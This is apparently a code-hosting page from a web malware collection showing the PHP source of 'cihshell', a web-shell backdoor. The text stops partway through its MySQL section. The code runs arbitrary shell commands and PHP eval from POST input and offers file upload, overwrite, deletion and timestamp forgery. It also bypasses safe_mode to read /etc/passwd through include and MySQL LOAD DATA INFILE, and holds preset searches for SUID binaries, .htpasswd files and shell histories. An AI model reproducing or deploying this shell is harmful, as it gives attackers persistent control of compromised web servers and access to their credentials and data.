PageRenderTime 58ms CodeModel.GetById 24ms RepoModel.GetById 0ms app.codeStats 1ms

/Backdoors/PHP/cihshell_fix.php

http://web-malware-collection.googlecode.com/
PHP | 565 lines | 480 code | 55 blank | 30 comment | 154 complexity | b0dda48317d1b5be8aa9cb71188aa1b2 MD5 | raw file
  1. <?php
  2. /*
  3. ######################################
  4. ------------ cihshell ----------------
  5. version: 0.99.1 [beta fix]
  6. everything you need is in here
  7. --------------------------------------
  8. ########################### /cih.ms/ #
  9. ## add 'touch' & fix filesize by DCRM
  10. */
  11. # Settings
  12. # all configurations here
  13. $auth = 1; // set this to 0 to switch authentication off
  14. $login = 'test';
  15. $password = 'test';
  16. $errors = 0; // set this to 1 to switch php errors on
  17. $stringnum = 1; // change it to 0, if you don't need string numbers in file viewer
  18. $hexdump_rows=20; // number of rows in hexdump
  19. $alias=array( // aliases for shell. edit them if you need.
  20. 'find suid files'=>'find / -type f -perm -04000 -ls',
  21. 'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
  22. 'find sgid files'=>'find / -type f -perm -02000 -ls',
  23. 'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
  24. 'find config.inc.php files'=>'find / -type f -name config.inc.php',
  25. 'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
  26. 'find config* files'=>'find / -type f -name "config*"',
  27. 'find config* files in current dir'=>'find . -type f -name "config*"',
  28. 'find all writable files'=>'find / -type f -perm -2 -ls',
  29. 'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
  30. 'find all writable directories'=>'find / -type d -perm -2 -ls',
  31. 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
  32. 'find all writable directories and files'=>'find / -perm -2 -ls',
  33. 'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
  34. 'find all service.pwd files'=>'find / -type f -name service.pwd',
  35. 'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
  36. 'find all .htpasswd files'=>'find / -type f -name .htpasswd',
  37. 'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
  38. 'find all .bash_history files'=>'find / -type f -name .bash_history',
  39. 'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
  40. 'find all .mysql_history files'=>'find / -type f -name .mysql_history',
  41. 'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
  42. 'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
  43. 'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
  44. 'list file attributes on a Linux second extended file system'=>'lsattr -va',
  45. 'show opened ports'=>'netstat -an',
  46. );
  47. # you don't really need to edit it (;
  48. $f = array("SHELL" => "shell","EVAL" => "eval", "MySql Suite" => "mysql", "Server Information" => "server", "Env Informaion" => "envinfo", "PHPinfo" => "phpinfo", "Shell delete" => "delete");
  49. $ver = '0.99.1 [ beta {fix} ]';
  50. # ok, let's start
  51. # ^^
  52. session_start();
  53. define("start",atime());
  54. if(isset($_POST['eval'])){error_reporting(E_ALL&~E_NOTICE);}elseif($errors){error_reporting(E_ALL&~E_NOTICE);}else{error_reporting(0);}
  55. ini_set('max_execution_time',0);
  56. set_magic_quotes_runtime(0);
  57. set_time_limit(0);
  58. if(version_compare(phpversion(), '4.1.0') == -1){$_POST = &$HTTP_POST_VARS; $_GET= &$HTTP_GET_VARS; $_SERVER = &$HTTP_SERVER_VARS; }
  59. if (get_magic_quotes_gpc()){foreach ($_POST as $key=>$value){$_POST[$key] = stripslashes($value);}foreach ($_SERVER as $key=>$value){$_SERVER[$key] = stripslashes($value);}foreach ($_ENV as $key=>$value){$_SERVER[$key] = stripslashes($value);}foreach ($_FILES as $key=>$value){$_SERVER[$key] = stripslashes($value);}}
  60. if ($auth == 0) {$_SESSION['logged'] = true;}
  61. $safe_mode = ini_get("safe_mode"); if (!$safe_mode) {$safe_mode = 'off';} else {$safe_mode = 'On';}
  62. $os = null; $dir = getcwd(); if(strlen($dir)>1 && $dir[1]==":") $os = "win"; else $os = "nix";
  63. if(empty($dir)){ $opsy = getenv('OS');if(empty($opsy)){ $opsy = php_uname(); } if(empty($opsy)){ $opsy ="-"; $os = "nix"; } else { if(eregi("^win",$opsy)) { $os = "win"; }else { $os = "nix"; }}}
  64. if($os == "nix"){$pwd = exec("pwd");} elseif($os == "win"){$pwd = exec("cd");} if(empty($pwd)) {$pwd = getcwd();}
  65. # functions
  66. function atime()
  67. {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}
  68. function fperms($file)
  69. {$perms = fileperms($file);if (($perms & 0xC000) == 0xC000) {$info = 's';}
  70. elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} elseif (($perms & 0x8000) == 0x8000) {$info = '-';}elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}else {$info = 'u';}$info .= (($perms & 0x0100) ? 'r' : '-');$info .= (($perms & 0x0080) ? 'w' : '-');$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));$info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));$info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-');$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));return $info;}
  71. function conv_size($size){
  72. if($size >= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB";}elseif($size >= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB";}elseif($size >= 1024) {$size = round($size / 1024 * 100) / 100 . " KB";}else {$size = $size . " B";}return $size;}
  73. function fileread($opfile)
  74. {$fh = fopen($opfile, 'r'); if (!$fh){error('Could not open file',$ver);} while(!feof($fh)) {$line = fgets($fh); echo htmlspecialchars($line);}}
  75. function fileread2($opfile,$stringnum)
  76. {
  77. $fh = fopen($opfile, 'r'); if (!$fh){error('Could not open file',$ver);}
  78. echo '<table style="font-size:10px; width:100%; margin:0px; background:#222; ">';
  79. if ($stringnum){
  80. $i=1;
  81. while(!feof($fh)) {
  82. $line = fgets($fh);
  83. echo '<tr style="background:#242424;"><td style="text-align:center;padding:3px; width:2%; border-right:1px solid #2e2e2e; color:#444;">'.$i.'</td><td>'.htmlspecialchars($line).'</td></tr>';
  84. $i++;
  85. }} else {
  86. while(!feof($fh)) {
  87. $line = fgets($fh);
  88. echo '<tr style="background:#242424;"><td>'.htmlspecialchars($line).'</td></tr>'; }
  89. }
  90. echo '</table><br/>';
  91. }
  92. function safq($query)
  93. {
  94. $arr = array();$res = mysql_query($query);
  95. if (mysql_num_rows($res) > 0) {$x=0;while($row = mysql_fetch_row($res)){foreach($row as $i => $value) {$column = mysql_field_name($res,$i);$data["$column"] = $value;$arr[$x] = $data;}$x++;}}return $arr;}
  96. function cmd_exec($cmd2)
  97. {
  98. if (isset($_POST['cmd'])) {$cmd=$_POST['cmd'];} else {$cmd = $cmd2;}
  99. $result = '';
  100. if(isset($_POST['cmdir'])){chdir($_POST['cmdir']);}
  101. if(function_exists('system')){ob_start();system($cmd);$result = ob_get_contents();ob_end_clean();}
  102. elseif(function_exists('exec')){exec($cmd,$result);$result = join("\n",$result);}
  103. elseif(function_exists('shell_exec')){$result = shell_exec($cmd);}
  104. elseif(function_exists('passthru')){ob_start();passthru($cmd);$result = ob_get_contents();ob_end_clean();}
  105. elseif(is_resource($f = popen($cmd,"r"))){$result = "";while(!feof($f)) { $result .= fread($f,1024); }pclose($f);}
  106. echo $result;
  107. }
  108. function code_eval()
  109. {if (isset($_POST['eval'])){echo "\n result is:<br/><br/>";eval($_POST['eval']);}}
  110. function error($text, $ver)
  111. {
  112. echo '
  113. <div class="notice">
  114. <p align="left" style="padding-left:15px;"><b>error occured:</b></p></div>
  115. <div class="notice" style="margin-bottom:0px; border-bottom:2px solid #222;">
  116. <textarea cols="100" rows="15" style="width:98%;" class="txt"> ';
  117. echo $text;echo '</textarea></div>'; do_footer($ver); die();
  118. }
  119. function notice($text)
  120. {
  121. echo "<div class='notice'>$text</div>";
  122. }
  123. function do_header($f, $auth, $os, $path)
  124. {
  125. echo '<html><head>';
  126. if (isset($_POST['cmd']) || isset($_POST['alias'])) {echo '<meta http-equiv="Content-Type" content="text/html; charset=cp866">'; } else{echo'<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">';}
  127. echo'
  128. <title> CIH.[ms] WebShell </title>
  129. <style>
  130. body{background:#333; color:#999;font-family:Verdana, Arial;font-size:10px; padding:0px; margin:0px;}
  131. .logo {color:#999; font-family:Verdana, Arial; font-size:23px; text-align:left; padding-left:5px; padding-top:0px; margin-bottom:2px;}
  132. .m {color:#888;font-family:Verdana, Arial;font-size:10px; text-align:right; width:80px;background:#2c2c2c; border: 0px; border-right:1px solid #444; cursor:pointer; cursor:hand;}
  133. .m2 {background:#2c2c2c;color:#999;font-size:10px;font-family:Verdana;border: 0px; padding:3px; width:100%; cursor:pointer; cursor:hand;}
  134. .m2:hover {color:#ccc; background:#292929;}
  135. .i {color:#555;font-family:Verdana, Arial;font-size:10px; text-align:right;}
  136. .notice {background:#252525; padding:4px; margin-bottom:2px;}
  137. .footer {font-family:Verdana;font-size:10px; background:#252525; color:#555; padding:4px; border-bottom:1px solid #222; border-left:1px solid #444; border-right:1px solid #444; text-align:center;}
  138. .txt {background:#222; border:1px solid #333; color:#999; font-family:Verdana, Arial;font-size:10px; padding:5px;}
  139. .butt1 {height:20px; width:20px; padding:2px;border:1px solid #222;background:#333; color:#999; font-family:Verdana, Arial;font-size:10px;}
  140. .filet {color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center;}
  141. .ico {color:#555;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center;}
  142. .dir { cursor:pointer; cursor:hand;background:#252525;color:#999;font-weight:bold;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center; border:0px;}
  143. .file { cursor:pointer; cursor:hand; background:#252525;color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center;border:0px; margin:0px;}
  144. .file:hover, .dir:hover {color:#ccc;}
  145. .str{background:#242424; padding:8px; color:#999; font-size:10px; border-bottom:1px solid #292929; border-top:1px solid #292929; margin-top:15px; text-align:left}
  146. .my{background:#252525;color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:left;border:0px;}
  147. .form {background:#232323; height:22px; border:1px solid #2e2e2e; width:98%; padding:4px; color:#999; font-family:Verdana, Arial;font-size:10px; }
  148. .fm {background:#272727; border:0px; color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px;}
  149. .fa {background:#222; color:#888;font-family:Verdana, Arial; font-size:10px; text-align:right; border: 0px; width:100%; height:100%; padding:10px; text-align:center;}
  150. .fa1 {background:#222; color:#888;font-family:Verdana, Arial; font-size:10px; text-align:right; border: 0px; width:100%; height:100%; padding:2px; text-align:center;}
  151. .fa:hover, .fa1:hover {background:#292929; color:#ccc;}
  152. </style>
  153. </head>
  154. <body><div style="position:absolute; left:0px; top:0px; background:#333; text-align:center; padding-left:100px; padding-right:100px; height:90%">
  155. <div style="background:#222; margin:0px; border-left:1px solid #444; border-right:1px solid #444; padding-left:0px; padding-right:0px;">
  156. <table style="width:100%; height:25px;">
  157. <tr style="background:#2c2c2c;">
  158. <td style="color:#666; font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:left; padding-left:6px;">
  159. cihshell on <b>'.$_SERVER['HTTP_HOST'].'</b>
  160. </td>';
  161. echo "<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$path."' class='m2'><td class='m'><input type='submit' value='main' class='m2'></td>";
  162. foreach($f as $k=>$v)
  163. {
  164. echo "
  165. <!-- $k -->
  166. <td class='m'><input type='submit' name='do' value='$v' class='m2'></td>
  167. ";
  168. }
  169. if($auth){echo "<td class='m'><input type='submit' name='do' value='logout' class='m2'></td>";}
  170. $disfun = ini_get('disable_functions');
  171. $safe_mode = ini_get("safe_mode");
  172. if (!$safe_mode) {$safe_mode = 'Off';} else {$safe_mode = 'On';}
  173. $mysql_try = function_exists('mysql_connect');
  174. if($mysql_try){ $mysql = 'On';} else {$mysql = 'Off';}
  175. $pg_try = function_exists('pg_connect');
  176. if($pg_try){$pg = 'On';}else{$pg = 'Off';}
  177. $mssql_try = function_exists('mssql_connect');
  178. if($mssql_try){$mssql = 'On';}else{$mssql = 'Off';}
  179. $ora_try = function_exists('ocilogon');
  180. if($ora_try){$ora = 'On';}else{$ora = 'Off';}
  181. $curl_try = function_exists('curl_version');
  182. if($curl_try) {$curl = 'On';} else {$curl = 'Off';}
  183. $perms = fperms($path);
  184. echo ' </tr>
  185. </table>
  186. <table style="width:100%; margin-top:5px;"><tr>
  187. <td class="logo" style="width:120px;">CIH.<span style="color:#555">[</span><span style="color:#888">ms</span><span style="color:#555">]</span></td>
  188. <td class="i" style="padding-right:5px; text-align:right;">
  189. <nobr><b style="color:#666"><i>'.$perms.'</i></b> <span style="color:#333">|</span></nobr>
  190. <nobr>OS: <b>'.php_uname().'</b> <span style="color:#333">|</span></nobr>
  191. <nobr>safe mode: <b>'.$safe_mode.'</b> <span style="color:#333">|</span></nobr>
  192. <nobr>cURL: <b>'.$curl.'</b> <span style="color:#333">|</span></nobr>
  193. <nobr>MySQL: <b>'.$mysql.'</b> <span style="color:#333">|</span></nobr>
  194. <nobr>MSSQL: <b>'.$mssql.'</b> <span style="color:#333">|</span></nobr>
  195. <nobr>PostgreSQL: <b>'.$pg.'</b> <span style="color:#333">|</span></nobr>
  196. <nobr>Oracle: <b>'.$ora.'</b> <span style="color:#333">|</span></nobr>
  197. PHP: <b>'.phpversion().'</b>
  198. </td>
  199. </tr></table>
  200. <div style="border-bottom:1px solid #232323; margin-bottom:2px; font-size:5px;">&nbsp;</div>';
  201. if (!empty($disfun)){ echo '<div style="border-bottom:1px solid #232323; margin-bottom:2px; font-size:10px; color:#666; text-align:right; padding:5px;"><b>disabled functions:&nbsp;</b>'.$disfun.'</div>';}
  202. }
  203. function do_footer($ver)
  204. {
  205. echo '</div>
  206. <div class="footer">
  207. <span style="float:right; color:#333;">'.round(atime()-start,5).'</span>
  208. <b><form method="post" style="margin:0px;">&copy;</b><input type="submit" value="cihshell" name="do"
  209. style="border:0px; background:#252525; font-weight:bold; padding:0px;" class="footer"/>&nbsp;&nbsp;version : '.$ver.'</form>
  210. </div></div></body></html>';
  211. }
  212. # end of functions
  213. #
  214. if (!empty($_POST['login']) && !empty($_POST['password'])){
  215. if ($_POST['login'] == $login && $_POST['password'] == $password){
  216. $_SESSION['logged'] = true;} else {echo '
  217. <html><head><style>body{background:#333;}</style><title>login </title></head>
  218. <body><table style="margin-left:100px; margin-top:100px; background:#222; font-family:Verdana; font-size:10px; color:#999; padding:4px; width:100%:">
  219. <tr>
  220. <td><form method="post" style="margin:0px; padding:)px;">
  221. login: <input type="text" name="login" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">&nbsp;
  222. password: <input type="text" name="password" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">&nbsp;
  223. <input type="submit" style="color:#999; border:0px; font-size:10px; background:#262626; height:20px;; font-family:Verdana;" value="go"></form></td></tr><tr><td style="text-align:center; color:#666;">incorrect login or password</td></tr></table></body></html>'; die();}}
  224. if (isset ($_POST['do']) && $_POST['do']=='logout') { unset($_SESSION['logged']); }
  225. if ($_SESSION['logged'] == true){
  226. if (isset($_POST['do']) && $_POST['do']=='phpinfo'){echo'<form method="post"><input type="submit" value="return back" style="width:100%;"></form>'; phpinfo();echo'<form method="post"><input type="submit" value="return back" style="width:100%;"></form>';die();}
  227. if (isset($_POST['fdo']) && isset($_POST['ffile'])){
  228. $ffile = $_POST['ffile'];
  229. switch($_POST['fdo']){
  230. case 'download':
  231. $fl = $_POST['filename'];header("Content-type: application/x-octet-stream");header("Content-disposition: attachment; filename=".$fl.";");readfile($ffile);die();break;
  232. case 'preview':
  233. include($_POST['ffile']);die(); break;
  234. }}
  235. if(isset($_POST['f_file']))
  236. {
  237. if ($_POST['f_file'] == "..")
  238. { $slashpos = strpos($_POST['f_path'], strrchr($_POST['f_path'], "/"));
  239. $path = substr($_POST['f_path'], 0, $slashpos);
  240. } else {$path = $_POST['f_path']."/".$_POST['f_file'];}
  241. }
  242. elseif(isset($_POST['path']))
  243. {$path = $_POST['path'];}
  244. else {$path = $pwd;}
  245. if(isset($_POST['restore'])){$path = $pwd;}
  246. $path = str_replace("\\", "/", $path);$path = str_replace("'", "", $path);
  247. do_header($f, $auth, $os, $path);
  248. echo '<table class="notice" style="width:100%; margin-bottom:7px; background:#272727"><tr>
  249. <form method="post" action="" style="padding:0px; margin:0px;">
  250. <td style="width:50px;">
  251. <input type="hidden" value="'.$path.'" name="f_path">
  252. <input type="submit" value=".." name="f_file" class="butt1">
  253. <input type="submit" value="." name="restore" class="butt1"></td>
  254. <td></form>
  255. <form method="post" action="" style="padding:0px; margin:0px;">
  256. <input type="text" size="78" value="'.$path.'" name="path" style=" width:90%; height:20px; padding:3px;border:1px solid #222;background:#2c2c2c; color:#999; font-family:Verdana, Arial;font-size:10px;" >
  257. <input type="submit" value="go" class="butt1" style="width:30px; height:21px;">
  258. </form></td>
  259. </tr></table>';
  260. # Safe-mode
  261. # working
  262. if (isset($_POST['safe_mode'])){
  263. echo "
  264. <table style='width:100%; font-size:10px;'>
  265. <tr style='background:#272727;' ><td style='padding:10px; border-top:1px solid #2e2e2e;'><b>Try to read file(include):</b></td></tr>
  266. <tr style='background:#242424;' ><td style='padding:10px;'><form action='' method='post' style='padding:0px; margin:0px;'>
  267. <input type='text' name='sm_inc' style='width:80%;' class='form' value='/etc/passwd'/>
  268. <input class='form' style='width:60px;' type='submit' value='try'></form></td></tr>
  269. <tr style='background:#252525;'><td style='border-bottom:1px solid #2e2e2e;'>&nbsp;</td></tr>
  270. <tr style='background:#222; font-size:1px;'><td>&nbsp;</td></tr>
  271. <tr style='background:#272727;' ><td style='padding:10px; border-top:1px solid #2e2e2e;'><b>Try to read file(include):</b></td></tr>
  272. <tr style='background:#242424;' >
  273. <td style='padding:10px;'>
  274. <form action='' method='post' style='padding:0px; margin:0px;'>
  275. <input type='text' name='mysql_host' style='width:15%;' class='form' value='localhost'/>
  276. <span style='margin-left:5px; margin-right:5px;'>:</span><input type='text' name='mysql_port' style='width:40px' class='form' value='3306'/>
  277. <span style='margin-left:5px; margin-right:5px;'>database:</span><input type='text' name='mysql_db' style='width:15%;' class='form' value='dbname'/>
  278. <span style='margin-left:5px; margin-right:5px;'>login:</span><input type='text' name='mysql_login' style='width:15%;' class='form' value='dblogin'/>
  279. <span style='margin-left:5px; margin-right:5px;'>password:</span><input type='text' name='mysql_passw' style='width:15%;' class='form' value='dbpassword'/>
  280. <input type='text' name='mysql_file' style='margin-top:3px;width:700px;' class='form' value='/etc/passwd'/><br/>
  281. <input type='submit' name='sm_mysql' value='try' class='form' style='margin-top:8px;width:50px;'>
  282. </form></td></tr>
  283. <tr style='background:#252525;'><td style='border-bottom:1px solid #2e2e2e;'>&nbsp;</td></tr>
  284. <tr style='background:#222; font-size:1px;'><td>&nbsp;</td></tr>
  285. </table>
  286. ";
  287. do_footer($ver); die();
  288. }
  289. # Safe_Mode functions
  290. if (isset($_POST['sm_inc']))
  291. {
  292. echo "<textarea cols='170' rows='34' class='txt' style='width:98%;' > ";
  293. include($_POST['sm_inc']);
  294. echo "</textarea><br/><input type='button' class='form' value='go back' onClick='javascript:history.back();'><br/><br/>";
  295. do_footer($version); die();}
  296. if(isset($_POST['sm_mysql']))
  297. {
  298. echo "<textarea cols='170' rows='34' class='txt' style='width:98%;' > ";
  299. if(!isset($_POST['mysql_port']) || empty($_POST['mysql_port'])) { $_POST['mysql_port'] = "3306"; }
  300. $db = mysql_connect($_POST['mysql_host'].':'.$_POST['mysql_port'],$_POST['mysql_login'],$_POST['mysql_passw']);
  301. if($db){
  302. if(mysql_select_db($_POST['mysql_db'],$db))
  303. {$sql = "DROP TABLE IF EXISTS cih_tb;"; mysql_query($sql);
  304. $sql = "CREATE TABLE `cih_tb` ( `file` LONGBLOB NOT NULL );";
  305. mysql_query($sql);$sql = "LOAD DATA INFILE \"".$_POST['mysql_file']."\" INTO TABLE cih_tb;";
  306. mysql_query($sql);$sql = "SELECT * FROM cih_tb;";
  307. $r = mysql_query($sql);
  308. while(($r_sql = mysql_fetch_array($r))) { echo htmlspecialchars($r_sql[0]); }
  309. $sql = "DROP TABLE IF EXISTS cih_tb;";
  310. mysql_query($sql);
  311. }else echo "Can\'t select database";
  312. mysql_close($db);
  313. }else echo "-- Could not connect to MySQL server";
  314. echo "</textarea><br/><input type='button' class='form' value='go back' onClick='javascript:history.back();'><br/><br/>";
  315. do_footer($version);die();}
  316. if ($safe_mode == "On" && !isset($_POST['safe_mode']))
  317. {
  318. notice('<form method="post" style="margin:0px;"><b>safe_mode</b> is <b>On.</b><input type="submit" name="safe_mode" value="Click on this message to start working" style="font-size:10px; color:#999; font-family:Verdana;border:0px; background:#252525;"/></form>');
  319. }
  320. if (isset($_POST['fileact'])){switch($_POST['fileact']){
  321. case 'New File':
  322. $cdir = $_POST['curdir'];
  323. echo "<form method='post' action='' style='margin:0px; padding:0px;'><textarea cols='170' rows='34' class='txt' style='width:98%;' name='wrcont'></textarea>
  324. <input type='hidden' name='path' value='".$_POST['curdir']."'><input type='hidden' name='curdir' value='".$_POST['curdir']."'>
  325. <input type='text' name='nfname' class='form' style='width:28%; background:#252525;margin-bottom:1px; margin-right:1px;' value='file.txt'><input type='submit' name='wrfile' class='form' value='create file' style='width:70%'></form><br/>";
  326. do_footer($ver); die();break;
  327. case 'New Dir':
  328. $curdir = $_POST['curdir'];
  329. echo "<form method='post' action='' style='margin:0px;'><input type='hidden' name='curdir' value='$curdir'><input type='hidden' name='path' value='$curdir'><input type='text' name='dirname' class='form' style='width:90%; margin-right:1px;' size='100'><input type='submit' style='width:60px;' class='form' value='go!'></form><br/>";
  330. do_footer($ver);die();break;
  331. case 'Upload':
  332. if (isset($_FILES['userfile'])) {
  333. $file = $_FILES['userfile'];
  334. $curdir = $_POST['path'];
  335. if(isset($_POST['newfilech']) && !empty($_POST['newfile'])) {$nfn=$_POST['newfile'];} else { $nfn = $file['name']; }
  336. if($file['error']!=0) error($file['error']);
  337. else{copy($file['tmp_name'], $curdir.'/'.$nfn);if(!file_exists($curdir.'/'.$file['name']))error("Upload failed. (Can't copy temp file ".$file['tmp_name']." into current directory)", $ver);else{notice("File ".$nfn." was uploaded successfuly..</div>");}}}
  338. echo "<table style='width:100%; font-size:10px;'><tr style='background:#272727;' ><td style='padding:10px; border-top:1px solid #2e2e2e;'><b>Upload from your computer:</b></td></tr>
  339. <tr style='background:#242424;' ><td style='padding:10px;'><form action='' enctype='multipart/form-data' method='post' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='$path'> <input type='hidden' name='fileact' value='Upload'><input name='userfile' size='85' value='' class='form' type='file' style='border:1px solid #444;'><br/><br/>New name :<input name='newfilech' value='1' type='checkbox'><input type='text' name='newfile' style='width:20%;' class='form' value='filename.php'/><input type='submit' style='width:60px;' class='form' value='go!'></form></td></tr>
  340. <tr style='background:#252525;'><td style='border-bottom:1px solid #2e2e2e;'>&nbsp;</td></tr>
  341. <tr style='background:#222; font-size:1px;'><td>&nbsp;</td></tr></table>";do_footer($ver);die();break;
  342. }}
  343. # File Manager : File actions
  344. if(isset($_POST['newname'])) // rename
  345. {rename($_POST['ffile'], $_POST['newname']);if(!file_exists($_POST['newname'])){error('Could not rename '); }notice("File was successfuly renamed to &nbsp;".$_POST['newname']."...");}
  346. if(isset($_POST['newpath'])) //copy
  347. {copy($_POST['ffile'], $_POST['newpath']);if(!file_exists($_POST['newpath'])){error('Could not copy file'); }echo " <div class='notice'>File was successfuly copied to &nbsp;<b>".$_POST['newpath']."</b>...</div>";}
  348. if(isset($_POST['chmod'])) // chmod
  349. {$a = chmod($_POST['ffile'], $_POST['chmod']);if(!$a){error('Could not change permissions :o(', $ver);}echo " <div class='notice'>We hope that permissions for file were successfuly changed to &nbsp;<b>".$_POST['chmod']."</b>&nbsp;^^</div>";}
  350. if(isset($_POST['touch'])) // touch
  351. {$dt = strtotime($_POST['touch']); if(!touch($_POST['ffile'], $dt)){ error('Could not change touch time...', $ver);} echo " <div class='notice'>We hope that touch for file were successfuly changed to &nbsp;<b>".$_POST['touch']."</b>&nbsp;^^</div>";}
  352. if (isset($_POST['ffile']) && isset($_POST['wrcont'])){ // write into file
  353. $wrpath = $_POST['ffile']; $wrcont = $_POST['wrcont'];$fh = fopen($wrpath, 'w');if ($fh){fwrite($fh, $wrcont);fclose($fh); }else {error('Couldn\'t write to file..');}echo "<div class='notice'>File&nbsp;<b>$wrpath</b> &nbsp; was successfuly modified</div>";}
  354. if (isset($_POST['nfname']) && isset($_POST['curdir']) && isset($_POST['wrcont'])) // new file
  355. {$file1 = $_POST['curdir']."/".$_POST['nfname'];$fh = fopen($file1, 'w');$r = fwrite($fh, $_POST['wrcont']);fclose($fh);if (!file_exists($file1)){error('Could not create a file..');} else {notice("File was successfuly created");}}
  356. if (isset($_POST['dirname']) && isset($_POST['curdir'])) // new directory
  357. {$curdir = $_POST['curdir']; mkdir($curdir.'/'.$_POST['dirname']);if(file_exists($curdir.'/'.$_POST['dirname'])){notice($curdir.'/'.$_POST['dirname']."&nbsp;was successfuly created.");}else{error('An error occured while creating dir', $ver);}
  358. }
  359. # File Manager : Directory actions
  360. if (isset($_POST['ddo']) && isset($_POST['dirr'])){
  361. switch($_POST['ddo']){
  362. case 'rename':
  363. echo" <form method='post' action='' style='margin:0px;'><input type='hidden' name='path' value='".$pwd."'><input type='text' name='ffile' class='form' value='".$_POST['dirr']."' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' name='newname' class='form' value='".$_POST['dirr']."' style='width:40%'><input type='submit' style='width:60px;' class='form' value='rename!'></form><br/>";
  364. do_footer($ver);die();break;
  365. case 'delete':
  366. rmdir($_POST['dirr']);if(file_exists($_POST['dirr'])){error('Could not delete directory');}notice($_POST['dirr']."&nbsp;was successfuly deleted.");do_footer($version);break;}}
  367. if (isset($_POST['fdo']) && isset($_POST['ffile']) && $_POST['fdo']=='delete'){
  368. unlink($_POST['ffile']);if(file_exists($_POST['ffile'])){error('Could not delete file');}notice("<b>".$_POST['ffile']."</b>&nbsp;was successfuly deleted.");break;
  369. }if(isset($_POST['diract']))
  370. {$path = $_POST['cmdir']; $perms = fperms($_POST['cmdir']);
  371. echo"
  372. <div style='padding:2px;'><div style='background:#272727; padding:3px; margin-bottom:3px;text-align:left;'><b>File actions</b></div><div style='background:#272727; padding:3px; font-size:9px; text-align:left;'>dir:$path&nbsp;&nbsp;|&nbsp;&nbsp; permissions: <b>$perms </b>&nbsp;&nbsp;</div><div style='padding:4px; padding-left:30px; font-size:9px; font-weight:bold; color:#999; text-align:left;'><form method='post' action=''><input type='hidden' name='dirr' value='$path'><input type='hidden' name='path' value='$path'><input type='hidden' name='curpath' value='$pp'><input type='hidden' name='filename' value='$ppp'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;><input type='submit' class='m' name='ddo' value='rename' style='margin-bottom:0px; background:#222;'><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;><input type='submit' class='m' name='ddo' value='delete' style='margin-bottom:0px; background:#222;'><br/><br/><br/></form></div><div style='background:#272727; font-size:9px;'>&nbsp;</div></div>";do_footer($ver);die();}
  373. # switch $do
  374. #
  375. if (isset($_REQUEST['do']))
  376. {
  377. switch ($_REQUEST['do']){
  378. case 'mysql':
  379. if (isset($_POST['mysqlw_host'])){$dbhost = $_POST['mysqlw_host'];} else {$dbhost = 'localhost';}if (isset($_POST['mysqlw_db'])){$dbname = $_POST['mysqlw_db'];} else {$dbname = 'dbname';}if (isset($_POST['mysqlw_login'])){$dblogin = $_POST['mysqlw_login'];}else {$dblogin = 'dblogin';}if (isset($_POST['mysqlw_passw'])){$dbpass = $_POST['mysqlw_passw'];}else {$dbpass = 'dbpassword';}if (isset($_POST['mysqlw_port'])){$dbport = $_POST['mysqlw_port'];} else {$dbport = '3306';}if (!empty($_POST['sql'])){echo '<div >';$sqlq = $_POST['sql'];$db = mysql_connect($dbhost.':'.$dbport,$dblogin,$dbpass);if($db)
  380. {if(!empty($_POST['mysqlw_db'])) { mysql_select_db($_POST['mysqlw_db'],$db); }$queries = explode(';',$sqlq);foreach($queries as $number=>$query) {
  381. $number++;$r = safq($query); $error = mysql_error($db);if($error == 'Query was empty'){ break;}
  382. echo "<div class='str' style='border-top:1px solid #333; '>query # <b>".$number."</b>:".htmlspecialchars($query)."</div>";
  383. if ($error){ notice("Error : <b>".$error."</b>"); }
  384. else {if(is_array($r)){echo '<table style="width:100%; background:#222;">';
  385. if(is_array($r[0])){echo "<tr style='background:#292929; font-size:10px;'>";foreach($r[0] as $n=>$v){echo "<td style='padding:5px;'><b>$n</b></td>";}echo '</tr>';}foreach($r as $a){echo "<tr style='background:#232323;'>";
  386. if(is_array($a)){foreach($a as $n=>$v){echo "<td class='my'>$v</td>";}}else{echo "<td class='file'>$a</td>";}echo '</tr>';}echo '</table>';}else{echo $r;}if(($rows = mysql_affected_rows($db))>=0) {
